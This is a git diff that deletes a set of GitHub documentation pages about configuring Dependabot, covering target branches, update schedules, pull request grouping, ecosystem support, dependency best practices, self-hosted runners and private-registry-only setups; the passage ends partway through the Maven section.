-Generally, it makes most sense to keep {% data variables.product.prodname_dependabot %}'s checks and updates on the default branch. However, there may be some cases where you may need to specify a different target branch. If, for example, your team's processes require you to first test and validate updates on a non-production branch, you can use `target-branch` to specify a different branch for {% data variables.product.prodname_dependabot %} to raise pull requests against. - ->[!NOTE] -> {% data variables.product.prodname_dependabot %} raises pull requests for security updates against the **default branch only**. If you use `target-branch`, then as a result, all configuration settings for that package manager will then _only_ apply to version updates, and not security updates. - -```yaml copy -# Specify a non-default branch for pull requests for pip - -version: 2 -updates: - - package-ecosystem: "pip" - directory: "/" - schedule: - interval: "weekly" - # Raise pull requests for version updates - # to pip against the `develop` branch - target-branch: "develop" - # Labels on pull requests for version updates only - labels: - - "pip dependencies" - - - package-ecosystem: "npm" - directory: "/" - schedule: - interval: "weekly" - # Check for npm updates on Sundays - day: "sunday" - # Labels on pull requests for security and version updates - labels: - - "npm dependencies" -``` - -See also [`target-branch`](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#target-branch--). diff --git a/content/code-security/dependabot/dependabot-version-updates/index.md b/content/code-security/dependabot/dependabot-version-updates/index.md deleted file mode 100644 index 366ec0da3382..000000000000 --- a/content/code-security/dependabot/dependabot-version-updates/index.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Keeping your dependencies updated automatically with Dependabot version updates -intro: 'You can use {% data variables.product.prodname_dependabot %} to automatically keep the dependencies and packages used in your repository updated to the latest version, even when they don’t have any known vulnerabilities.' -allowTitleToDifferFromFilename: true -redirect_from: - - /github/administering-a-repository/keeping-your-dependencies-updated-automatically - - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically - - /github/administering-a-repository/customizing-dependency-updates - - /code-security/supply-chain-security/customizing-dependency-updates - - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/customizing-dependency-updates - - /code-security/dependabot/dependabot-version-updates/customizing-dependency-updates -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Repositories - - Dependabot - - Version updates - - Dependencies - - Pull requests -children: - - /about-dependabot-version-updates - - /configuring-dependabot-version-updates - - /optimizing-pr-creation-version-updates - - /customizing-dependabot-prs - - /controlling-dependencies-updated -shortTitle: Dependabot version updates ---- diff --git a/content/code-security/dependabot/dependabot-version-updates/optimizing-pr-creation-version-updates.md b/content/code-security/dependabot/dependabot-version-updates/optimizing-pr-creation-version-updates.md deleted file mode 100644 index b1113be2137b..000000000000 --- a/content/code-security/dependabot/dependabot-version-updates/optimizing-pr-creation-version-updates.md +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Optimizing the creation of pull requests for Dependabot version updates -intro: 'Learn how to streamline and efficiently manage your {% data variables.product.prodname_dependabot %} pull requests.' -allowTitleToDifferFromFilename: true -permissions: '{% data reusables.permissions.dependabot-yml-configure %}' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Dependabot - - Version updates - - Repositories - - Dependencies - - Pull requests -shortTitle: Optimize PR creation ---- - -By default, {% data variables.product.prodname_dependabot %} opens a new pull request to update each dependency. When you enable security updates, new pull requests are opened when a vulnerable dependency is found. When you configure version updates for one or more ecosystems, new pull requests are opened when new versions of dependencies are available, with the frequency defined in the `dependabot.yml` file. - -If your project has many dependencies, you might find that you have a very large number of {% data variables.product.prodname_dependabot %} pull requests to review and merge, which can quickly become difficult to manage. - -There are a couple of customization options you can implement to optimize {% data variables.product.prodname_dependabot %} update pull requests to align with your processes, such as: -* **Controlling the frequency** with which {% data variables.product.prodname_dependabot %} checks for newer versions of your dependencies with `schedule`. -* **Prioritize meaningful updates** with `groups`. - -## Controlling the frequency and timings of dependency updates - -{% data variables.product.prodname_dependabot %} runs its checks for version updates at a frequency set by you in the configuration file (where the required field, `schedule.interval`, must be set to `daily`, `weekly`, or `monthly`). - -By default, {% data variables.product.prodname_dependabot %} balances its workload by assigning a random time to check and raise pull requests for dependency updates. - -However, to reduce distraction, or to better organize time and resources for reviewing and addressing version updates, you might find it useful to modify the frequency and timings. For example, you may prefer {% data variables.product.prodname_dependabot %} to run weekly rather than daily checks for updates, and at a time that ensures pull requests are raised before for your team's triage session. - -You can use `schedule` with a combination of options to modify the frequency and timings of when {% data variables.product.prodname_dependabot %} checks for version updates - -The example `dependabot.yml` file below changes the npm configuration to specify that {% data variables.product.prodname_dependabot %} should check for version updates to npm dependencies every day at 02:00 Japanese Standard Time (UTC +09:00). - -```yaml copy -# `dependabot.yml` file with -# customized schedule for version updates - -version: 2 -updates: - # Keep npm dependencies up to date - - package-ecosystem: "npm" - directory: "/" - # Check the npm registry every week on Tuesday at 02:00 Japan Standard Time (UTC +09:00) - schedule: - interval: "weekly" - day: "tuesday" - time: "02:00" - timezone: "Asia/Tokyo" -``` - -See also [schedule](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#schedule-). - -## Prioritizing meaningful updates - -You can use `groups` to consolidate updates for multiple dependencies into a single pull request. This helps you focus your review time on higher risk updates, and minimize the time spent reviewing minor version updates. For example, you can combine updates for minor or patch updates for development dependencies into a single pull request, and have a dedicated group for security or version updates that impact a key area of your codebase. - -You must configure groups per individual package ecosystem, then you can create multiple groups per package ecosystem using a combination of criteria: - -{% ifversion dependabot-grouped-security-updates-config %} -* {% data variables.product.prodname_dependabot %} update type: `applies-to`{% endif %} -* Type of dependency: `dependency-type`. -* Dependency name: `patterns` and `exclude-patterns` -* Semantic versioning levels: `update-types` - -To see all supported values for each criterion, see [`groups`](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#groups--). - -The below examples present several different methods to create groups of dependencies using the criteria. - -{% data reusables.dependabot.dependabot-version-updates-groups-yaml-example %} diff --git a/content/code-security/dependabot/ecosystems-supported-by-dependabot/index.md b/content/code-security/dependabot/ecosystems-supported-by-dependabot/index.md deleted file mode 100644 index 31e4a7abaf60..000000000000 --- a/content/code-security/dependabot/ecosystems-supported-by-dependabot/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Ecosystems supported by Dependabot -intro: '{% data variables.product.prodname_dependabot %} supports a wide range of ecosystems to help keep your code secure' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Dependabot - - Dependencies - - Alerts - - Vulnerabilities - - Repositories -shortTitle: Dependabot ecosystems -children: - - /supported-ecosystems-and-repositories - - /optimizing-java-packages-dependabot ---- diff --git a/content/code-security/dependabot/ecosystems-supported-by-dependabot/optimizing-java-packages-dependabot.md b/content/code-security/dependabot/ecosystems-supported-by-dependabot/optimizing-java-packages-dependabot.md deleted file mode 100644 index be4d943040e6..000000000000 --- a/content/code-security/dependabot/ecosystems-supported-by-dependabot/optimizing-java-packages-dependabot.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Optimizing Java packages for Dependabot updates -intro: 'By including metadata in your `pom.xml` file, you can enhance the information available to users in {% data variables.product.prodname_dependabot%} pull requests to update your Java packages.' -shortTitle: Optimize Java packages # Max 31 characters -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Dependabot - - Dependencies - - Repositories ---- - -{% data variables.product.prodname_dependabot %} uses the information defined in `pom.xml` files to create pull requests to update Java dependencies for the Gradle and Maven ecosystems. When you include the project metadata that {% data variables.product.prodname_dependabot %} expects, pull requests contain links to the release notes for the suggested package update and a link where users can report any issues. This information means that users can update their packages with confidence after reviewing all the release information. - -## Including the metadata {% data variables.product.prodname_dependabot %} needs in pom.xml files - -{% data variables.product.prodname_dependabot %} uses the URLs for the project, the source code management system, and the issue management system to build the summary for update pull requests. - -* `url` the home page for the project, see [More Project Information](https://maven.apache.org/pom.html#More_Project_Information) in the POM reference -* `scm` the URL of the source code management system used by the project, see [SCM](https://maven.apache.org/pom.html#scm) in the POM Reference -* `issueManagement` the URL of the issue management system used by the project, see [Issue Management](https://maven.apache.org/pom.html#issue-management) in the POM Reference - -### Example for a project hosted on {% data variables.product.github %} - -```xml -<project> - <url>https://github.com/OWNER/REPOSITORY</url> - <scm> - <url>https://github.com/OWNER/REPOSITORY</url> - </scm> - <issueManagement> - <url>https://github.com/OWNER/REPOSITORY/issues</url> - </issueManagement> -</project> -``` - -Replace `OWNER` and `REPOSITORY` with the detailed for your project. - -## Impact of omitting project metadata from pom.xml files - -If you forget to include the URLs that {% data variables.product.prodname_dependabot %} checks for, then pull requests to update Java packages are still created. However, the information available to users in the pull request summary will be limited. - -* **Project repository or Source code management URL undefined:** no links to release notes in {% data variables.product.prodname_dependabot %} pull requests -* **Issue management URL undefined:** no link to the issues page for reporting problems. - -Adding this information helps {% data variables.product.prodname_dependabot %} provide better, more accurate updates for your project, complete with helpful links to release notes and issue trackers. - -## Further reading - -* [Maven SCM Plugin](https://maven.apache.org/scm/maven-scm-plugin/) diff --git a/content/code-security/dependabot/ecosystems-supported-by-dependabot/supported-ecosystems-and-repositories.md b/content/code-security/dependabot/ecosystems-supported-by-dependabot/supported-ecosystems-and-repositories.md deleted file mode 100644 index ce6920d47f02..000000000000 --- a/content/code-security/dependabot/ecosystems-supported-by-dependabot/supported-ecosystems-and-repositories.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Dependabot supported ecosystems and repositories -shortTitle: Dependabot ecosystem support # Max 31 characters -intro: '{% data variables.product.prodname_dependabot %} supports a variety of ecosystems and repositories' -allowTitleToDifferFromFilename: true -type: reference -topics: - - Dependabot - - Dependencies - - Alerts - - Vulnerabilities - - Repositories -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -## About {% data variables.product.prodname_dependabot %} - -{% data variables.product.prodname_dependabot %} helps you stay on top of your dependency ecosystems. With {% data variables.product.prodname_dependabot %}, you can keep the dependencies you rely on up-to-date, addressing any potential security issues in your supply chain. - -{% data reusables.dependabot.dependabot-overview %} - -For more information about {% data variables.product.prodname_dependabot %}, see [AUTOTITLE](/code-security/getting-started/dependabot-quickstart-guide). - -In this article, you can see what the supported ecosystems and repositories are. - -## Supported ecosystems and repositories -<!-- If you make changes to this feature, check whether any of the changes affect languages listed in /get-started/learning-about-github/github-language-support. If so, please update the language support article accordingly. --> - -You can configure updates for repositories that contain a dependency manifest or lock file for one of the supported package managers. For some package managers, you can also configure vendoring for dependencies. For more information, see [`vendor`](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#vendor). -{% data variables.product.prodname_dependabot %} also supports dependencies in private registries. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot). -{% ifversion ghes %} - -> [!NOTE] -> To ensure that {% data variables.product.prodname_ghe_server %} supports {% data variables.product.prodname_dependabot_updates %} for the latest supported ecosystem versions, your enterprise owner must download the most recent version of the [{% data variables.product.prodname_dependabot %} action](https://github.com/github/dependabot-action). {% data reusables.actions.action-bundled-actions %} -{% endif %} - -> [!NOTE] -> * {% data reusables.dependabot.private-dependencies-note %} -> * {% data variables.product.prodname_dependabot %} doesn't support private {% data variables.product.prodname_dotcom %} dependencies for all package managers. See the details in the table below. - -If your repository already uses an integration for dependency management, you will need to disable this before enabling {% data variables.product.prodname_dependabot %}. {% ifversion fpt or ghec %}For more information, see [AUTOTITLE](/get-started/exploring-integrations/about-integrations).{% endif %} - -{% data reusables.dependabot.supported-package-managers %} diff --git a/content/code-security/dependabot/index.md b/content/code-security/dependabot/index.md deleted file mode 100644 index 16246ea41cea..000000000000 --- a/content/code-security/dependabot/index.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Keeping your supply chain secure with Dependabot -shortTitle: Dependabot -intro: 'Monitor vulnerabilities in dependencies used in your project and keep your dependencies up-to-date with {% data variables.product.prodname_dependabot %}.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Dependabot - - Alerts - - Vulnerabilities - - Repositories - - Dependencies -children: - - /ecosystems-supported-by-dependabot - - /dependabot-alerts - - /dependabot-auto-triage-rules - - /dependabot-security-updates - - /dependabot-version-updates - - /working-with-dependabot - - /maintain-dependencies - - /troubleshooting-dependabot ---- diff --git a/content/code-security/dependabot/maintain-dependencies/best-practices-for-maintaining-dependencies.md b/content/code-security/dependabot/maintain-dependencies/best-practices-for-maintaining-dependencies.md deleted file mode 100644 index d29d1ffd8bf3..000000000000 --- a/content/code-security/dependabot/maintain-dependencies/best-practices-for-maintaining-dependencies.md +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: Best practices for maintaining dependencies -intro: 'Guidance and recommendations for maintaining the dependencies you use, including {% data variables.product.github %}''s security products that can help.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Dependabot - - Security updates - - Version updates - - Repositories - - Dependencies - - Pull requests -shortTitle: Dependency management best practices ---- - -## Best practices for maintaining dependencies - -Staying up to date on dependencies is crucial to maintaining a secure software environment. Here are some recommendations: - -**Adopt security-focused dependency management tools** - - * Use and set up tools that scan your dependencies for vulnerabilities and automatically suggest updates. - * Ensure these tools are integrated into your CI/CD pipeline for continuous monitoring and updating. - * Set up your processes to follow semantic versioning to avoid breaking changes. - -**Perform regular vulnerability scans and audits** - - * Schedule regular dependency audits and dependency scans to identify outdated or vulnerable dependencies. - -**Automate security patch management** - - * Configure your dependency management tools to automatically apply security patches. - * Set up automated pull requests for critical security updates so they can be reviewed and merged quickly. - -**Enforce policies on the use of dependencies** - - * Implement policies that enforce the use of secure versions of dependencies. - * Use tools that can block merging of pull requests if they introduce vulnerabilities or fail to update vulnerable dependencies. - -**Integrate security testing in CI/CD** - - * Incorporate security testing tools into your CI/CD pipeline. - * Ensure that dependency updates are automatically tested for security compliance. - -**Use lock files and dependency pinning** - - * Use lock files (for example, `package-lock.json`, `yarn.lock`, `Pipfile.lock`) to pin dependencies to known secure versions. - * Regularly update and review these lock files to ensure dependencies are up-to-date without unintended security issues. - -**Monitor security advisories** - - * Subscribe to security advisories for the languages and frameworks you use. - * Automate the integration of advisories into your development workflow to stay informed of new vulnerabilities. - * Keep an eye on the dashboards provided by your dependency management tools. - * Be aware of critical updates, especially security patches, and prioritize them. - -**Version control and change management** - - * Track dependency changes in version control (for example, through automated pull requests). - * Conduct regular code reviews to ensure updates do not introduce new vulnerabilities. - - **Training and awareness** - - * Educate your development and operations teams about the importance of keeping dependencies secure and up-to-date. - * Provide training on how to use dependency management and security tools effectively. - -**Response plan for vulnerabilities** - - * Have a clear incident response plan for when vulnerabilities are identified in dependencies. - * Ensure the team knows how to quickly address and remediate security issues. - -By following these practices, you can significantly reduce the risk posed by outdated and vulnerable dependencies and maintain a more secure environment. - -## How {% data variables.product.github %} can help - -{% data variables.product.github %} offers several security features that can help maintain the security of your codebases: - -**Dependency Graph** - - * Provides a tabular representation of your project's dependencies. - * The graph helps you understand the dependencies of your project and {% data variables.product.github %} uses this to identify vulnerable dependencies. - * For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph). - -**Dependency review** - - * Is integrated into your CI/CD pipeline, and allows you to catch insecure dependencies in your code at every pull request. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review). - - * The {% data variables.dependency-review.action_name %} is a tool that can block the merging of pull requests if they introduce vulnerabilities or fail to update vulnerable dependencies. For more information, see "About the {% data variables.dependency-review.action_name %}" in [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review#about-the-dependency-review-action). - -**{% data variables.product.prodname_dependabot %}** - - * **{% data variables.product.prodname_dependabot_alerts %}**: {% data variables.product.prodname_dependabot %} scans your dependencies for known vulnerabilities and automatically creates alerts when vulnerabilities are found in the repository. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts). - - * **{% data variables.product.prodname_dependabot_security_updates %}**: Automatically opens pull requests to update vulnerable dependencies to versions that do not have known vulnerabilities. This allows you to quickly review and merge fixes. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates). - - * **{% data variables.product.prodname_dependabot_version_updates %}**: Can also be configured to automatically open pull requests to update your dependencies to their latest versions regularly, ensuring you are always using current packages. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates).{% ifversion dependabot-grouped-security-updates-config %} - - * **Grouped updates**: Makes it easier to review and deploy pull requests for {% data variables.product.prodname_dependabot_updates %} by grouping several updates into a single pull request, see [About grouped security updates](/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates#about-grouped-security-updates) and examples in [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/optimizing-pr-creation-version-updates#reducing-the-volume-of-dependabot-pull-requests){% endif %} - -**Security Advisories**{% ifversion fpt or ghec %} - - * **Private vulnerability reporting**: Allows maintainers to privately discuss, fix, and publish security advisories for their repositories. For more information, see [AUTOTITLE](/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/privately-reporting-a-security-vulnerability).{% endif %} - - * **{% data variables.product.prodname_advisory_database %}**: A database of security advisories that is used by {% data variables.product.prodname_dependabot %} to identify vulnerabilities in your dependencies. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/about-the-github-advisory-database). - -**Security overview** - - * You can keep an eye on the dashboards on the security overview page, which provide insights about your organization or enterprise's security landscape and progress. It helps users identify repositories that need attention and monitor the health of their application security program.{% ifversion ghec or ghes %} For example, you can see a summary of an organization's security risk, trends in detection, remediation, and prevention of security alerts, as well as the enablement status of {% data variables.product.github %}'s security features.{% endif %} For more information, see [AUTOTITLE](/code-security/security-overview/about-security-overview). - -**Security policy** - - * You can create a `SECURITY.md` file in your repository that outlines the security policies and procedures for reporting and handling security issues. For more information, see [AUTOTITLE](/code-security/getting-started/adding-a-security-policy-to-your-repository). - -For additional guidance across the whole supply chain using {% data variables.product.github %}'s security features, see [AUTOTITLE](/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview). diff --git a/content/code-security/dependabot/maintain-dependencies/index.md b/content/code-security/dependabot/maintain-dependencies/index.md deleted file mode 100644 index 7d4d9152d503..000000000000 --- a/content/code-security/dependabot/maintain-dependencies/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Maintaining dependencies at scale -shortTitle: Maintain dependencies at scale -intro: 'You can use {% data variables.product.prodname_dependabot %} to automatically update your dependencies for your repositories and organizations.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Dependabot - - Organizations - - Security - - Dependencies -children: - - /best-practices-for-maintaining-dependencies - - /managing-dependabot-on-self-hosted-runners - - /removing-dependabot-access-to-public-registries ---- diff --git a/content/code-security/dependabot/maintain-dependencies/managing-dependabot-on-self-hosted-runners.md b/content/code-security/dependabot/maintain-dependencies/managing-dependabot-on-self-hosted-runners.md deleted file mode 100644 index 789f9a7d0317..000000000000 --- a/content/code-security/dependabot/maintain-dependencies/managing-dependabot-on-self-hosted-runners.md +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: Managing Dependabot on self-hosted runners -intro: 'You can configure self-hosted runners that {% data variables.product.prodname_dependabot %} uses to access your private registries and internal network resources.' -shortTitle: Manage Dependabot on self-hosted runners -permissions: '{% data reusables.permissions.dependabot-actions %}' -versions: - feature: dependabot-on-actions-self-hosted -type: how_to -topics: - - Dependabot - - Security updates - - Version updates - - Actions - - Dependencies - - Repositories -redirect_from: - - /code-security/dependabot/working-with-dependabot/managing-dependabot-on-self-hosted-runners ---- - -## About {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_actions %} self-hosted runners - -{% data reusables.dependabot.dependabot-updates-and-actions %} For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/about-dependabot-on-github-actions-runners). - -{% data reusables.dependabot.dependabot-on-actions-future-note %} - -You can help users of your organization and repositories to create and maintain secure code by setting up {% data variables.product.prodname_dependabot %} security and version updates. With {% data variables.product.prodname_dependabot_updates %}, developers can configure repositories so that their dependencies are updated and kept secure automatically. Running {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_actions %} allows for better performance, and increased visibility and control of {% data variables.product.prodname_dependabot %} jobs. - -{% data reusables.dependabot.vnet-arc-note %} - -To have greater control over {% data variables.product.prodname_dependabot %} access to your private registries and internal network resources, you can configure {% data variables.product.prodname_dependabot %} to run on {% data variables.product.prodname_actions %} self-hosted runners. - -For security reasons, when running {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_actions %} self-hosted runners, {% data variables.product.prodname_dependabot_updates %} will not be run on public repositories. - -For more information about configuring {% data variables.product.prodname_dependabot %} access to private registries when using {% data variables.product.company_short %}-hosted runners, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/guidance-for-the-configuration-of-private-registries-for-dependabot). For information about which ecosystems are supported as private registries, see [AUTOTITLE](/code-security/dependabot/maintain-dependencies/removing-dependabot-access-to-public-registries). - -## Prerequisites - -You must have {% data variables.product.prodname_dependabot %} installed and enabled, and {% data variables.product.prodname_actions %} enabled and in use. The "{% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_actions %} Runners" setting for your organization should also be enabled. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/about-dependabot-on-github-actions-runners). - -Your organization may have configured a policy to restrict actions and self-hosted runners from running in specific repositories, which in turn will not allow {% data variables.product.prodname_dependabot %} to run on {% data variables.product.prodname_actions %} self-hosted runners. In this case, the organization or repository level setting to enable "{% data variables.product.prodname_dependabot %} on self-hosted runners" will not be visible in the web UI. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization). - -{% data reusables.dependabot.dependabot-on-actions-enterprise-policy-condition %} - -## Configuring self-hosted runners for {% data variables.product.prodname_dependabot_updates %} - -After you configure your organization or repository to run {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_actions %}, and before you enable {% data variables.product.prodname_dependabot %} on self-hosted runners, you need to configure self-hosted runners for {% data variables.product.prodname_dependabot_updates %}. - -### System requirements for {% data variables.product.prodname_dependabot %} runners - -{% data reusables.dependabot.dependabot-runners-system-requirements %} - -### Network requirements for {% data variables.product.prodname_dependabot %} runners - -{% data reusables.dependabot.dependabot-runners-network-requirements %} - -### Certificate configuration for {% data variables.product.prodname_dependabot %} runners - -If {% data variables.product.prodname_dependabot %} needs to interact with registries that use self-signed certificates, those certificates must also be installed on the self-hosted runners that run {% data variables.product.prodname_dependabot %} jobs. This security hardens the connection. You must also configure Node.js to use the certificate, because most actions are written in JavaScript and run using Node.js, which does not use the operating system certificate store. - -### Adding self-hosted runners for {% data variables.product.prodname_dependabot %} updates - -1. Provision self-hosted runners, at the repository or organization level. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners) and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners). - -1. Set up the self-hosted runners with the requirements described above. For example, on a VM running Ubuntu 20.04 you would: - * Install Docker and ensure that the runner users have access to Docker. For more information, see the Docker documentation. - * [Install Docker Engine on Ubuntu](https://docs.docker.com/engine/install/ubuntu/) - * Recommended approach: [Run the Docker daemon as a non-root user (Rootless mode)](https://docs.docker.com/engine/security/rootless/) - * Alternative approach: [Manage Docker as a non-root user](https://docs.docker.com/engine/install/linux-postinstall/#manage-docker-as-a-non-root-user) - * Verify that the runners have access to the public internet and can only access the internal networks that {% data variables.product.prodname_dependabot %} needs. - * Install any self-signed certificates for registries that {% data variables.product.prodname_dependabot %} will need to interact with. - -1. Assign a `dependabot` label to each runner you want {% data variables.product.prodname_dependabot %} to use. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/using-labels-with-self-hosted-runners#assigning-a-label-to-a-self-hosted-runner). -1. Optionally, enable workflows triggered by {% data variables.product.prodname_dependabot %} to use more than read-only permissions and to have access to any secrets that are normally available. For more information, see [AUTOTITLE](/code-security/dependabot/troubleshooting-dependabot/troubleshooting-dependabot-on-github-actions#restrictions-when-dependabot-triggers-events). - -## Enabling self-hosted runners for {% data variables.product.prodname_dependabot_updates %} - -Once you have configured self-hosted runners for {% data variables.product.prodname_dependabot_updates %}, you can enable or disable {% data variables.product.prodname_dependabot_updates %} on self-hosted runners at the organization or repository level. - -Note, disabling and re-enabling the "{% data variables.product.prodname_dependabot %} on self-hosted runners" settings will not trigger a new {% data variables.product.prodname_dependabot %} run. - -### Enabling or disabling for your repository - -You can manage {% data variables.product.prodname_dependabot %} on self-hosted runners for your {% ifversion ghec %}private or internal{% else %}private{% endif %} repository. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -1. Under "Dependabot", to the right of "{% data variables.product.prodname_dependabot %} on self-hosted runners", click **Enable** to enable the feature or **Disable** to disable it. - -### Enabling or disabling for your organization - -You can enable {% data variables.product.prodname_dependabot %} on self-hosted runners for all existing {% ifversion ghec %}private or internal{% else %}private{% endif %} repositories in an organization. Only repositories already configured to run {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_actions %} will be updated to run {% data variables.product.prodname_dependabot %} on self-hosted runners the next time a {% data variables.product.prodname_dependabot %} job is triggered. - -> [!NOTE] You need to enable self-hosted runners for your organization if you use {% data variables.actions.hosted_runners %}. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/about-dependabot-on-github-actions-runners#enabling-or-disabling-dependabot-on-larger-runners). - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.security-configurations.display-global-settings %} -1. Under "Dependabot", select "{% data variables.product.prodname_dependabot %} on self-hosted runners" to enable the feature or deselect to disable it. This action enables or disables the feature for all new repositories in the organization. - -For more information, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/configuring-global-security-settings-for-your-organization). diff --git a/content/code-security/dependabot/maintain-dependencies/removing-dependabot-access-to-public-registries.md b/content/code-security/dependabot/maintain-dependencies/removing-dependabot-access-to-public-registries.md deleted file mode 100644 index 58a0524f342c..000000000000 --- a/content/code-security/dependabot/maintain-dependencies/removing-dependabot-access-to-public-registries.md +++ /dev/null @@ -1,358 +0,0 @@ ---- -title: Removing Dependabot access to public registries -intro: 'Examples of how you can configure {% data variables.product.prodname_dependabot %} to only access private registries by removing calls to public registries.' -permissions: '{% data reusables.permissions.dependabot-various-tasks %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Dependabot - - Version updates -shortTitle: Remove access to public registries -redirect_from: - - /code-security/dependabot/working-with-dependabot/configuring-dependabot-to-only-access-private-registries - - /code-security/dependabot/working-with-dependabot/removing-dependabot-access-to-public-registries ---- - -## About configuring {% data variables.product.prodname_dependabot %} to only access private registries - -{% data reusables.dependabot.private-registry-support %} For more information about private registry support and configuration, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot). {% data reusables.dependabot.advanced-private-registry-config-link %} - -{% data reusables.dependabot.dependabot-on-actions-self-hosted-link %} - -You can configure {% data variables.product.prodname_dependabot %} to access _only_ private registries by removing calls to public registries. This can only be configured for the ecosystems listed in this article. - -{% ifversion dependabot-ghes-no-public-internet %} - -> [!NOTE] -> Before you remove access to public registries from your configuration for {% data variables.product.prodname_dependabot_updates %}, check that your site administrator has set up the {% data variables.product.prodname_dependabot %} runners with access to the private registries you need. For more information, see [AUTOTITLE](/admin/code-security/managing-supply-chain-security-for-your-enterprise/configuring-dependabot-to-work-with-limited-internet-access). - -{% endif %} - -## Bundler - -To configure the Bundler ecosystem to only access private registries, you can set `replaces-base` as `true` in the `dependabot.yml` file. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#rubygems-server). - -The Bundler ecosystem additionally requires a `Gemfile` file with the private registry URL to be checked into the repository. - -```yaml copy -# Example Gemfile - - source "https://private_registry_url" - ``` - -## Docker - -To configure the Docker ecosystem to only access private registries, you can use these configuration methods. - -**Option 1** - -Define the private registry configuration in a `dependabot.yml` file without `replaces-base`. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#docker-registry). - -> [!NOTE] -> Remove `replaces-base: true` from the configuration file. - -```yaml copy -version: 2 -registries: - azuretestregistry: # Define access for a private registry - type: docker-registry - url: firewallregistrydep.azurecr.io - username: firewallregistrydep - password: {% raw %}${{ secrets.AZUREHUB_PASSWORD }}{% endraw %} -``` - -In the `Dockerfile` file, add the image name in the format of `IMAGE[:TAG]`, where `IMAGE` consists of your username and the name of the repository. - -```yaml copy - FROM firewallregistrydep.azurecr.io/myreg/ubuntu:22.04 -``` - -**Option 2** - -Set `replaces-base` as `true` in the `dependabot.yml` file. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#docker-registry). The registry configured with the `replaces-base` can be used as a mirror or a pull through cache. For further details, see [Registry as a pull through cache](https://docs.docker.com/registry/recipes/mirror/) in the Docker documentation. - -## Gradle - -To configure the Gradle ecosystem to only access private registries, you can use these configuration methods. - -Define the private registry configuration in a `dependabot.yml` file. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#maven-repository). - -> [!NOTE] -> Remove replaces-base: true from the configuration file. - -Additionally, you also need to specify the private registry URL in the `repositories` section of the `build.gradle` file. - -```groovy -# Example build.gradle file - -repositories { - maven { - url "https://private_registry_url" - } -} -``` - -## Maven - -To configure the Maven ecosystem to only access private registries, you can use these configuration methods. - -**Option 1** - -Set `replaces-base` as `true` in the `dependabot.yml` file. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#maven-repository). - -**Option 2** - -Use only the private registry URL in the `pom.xml` file. - 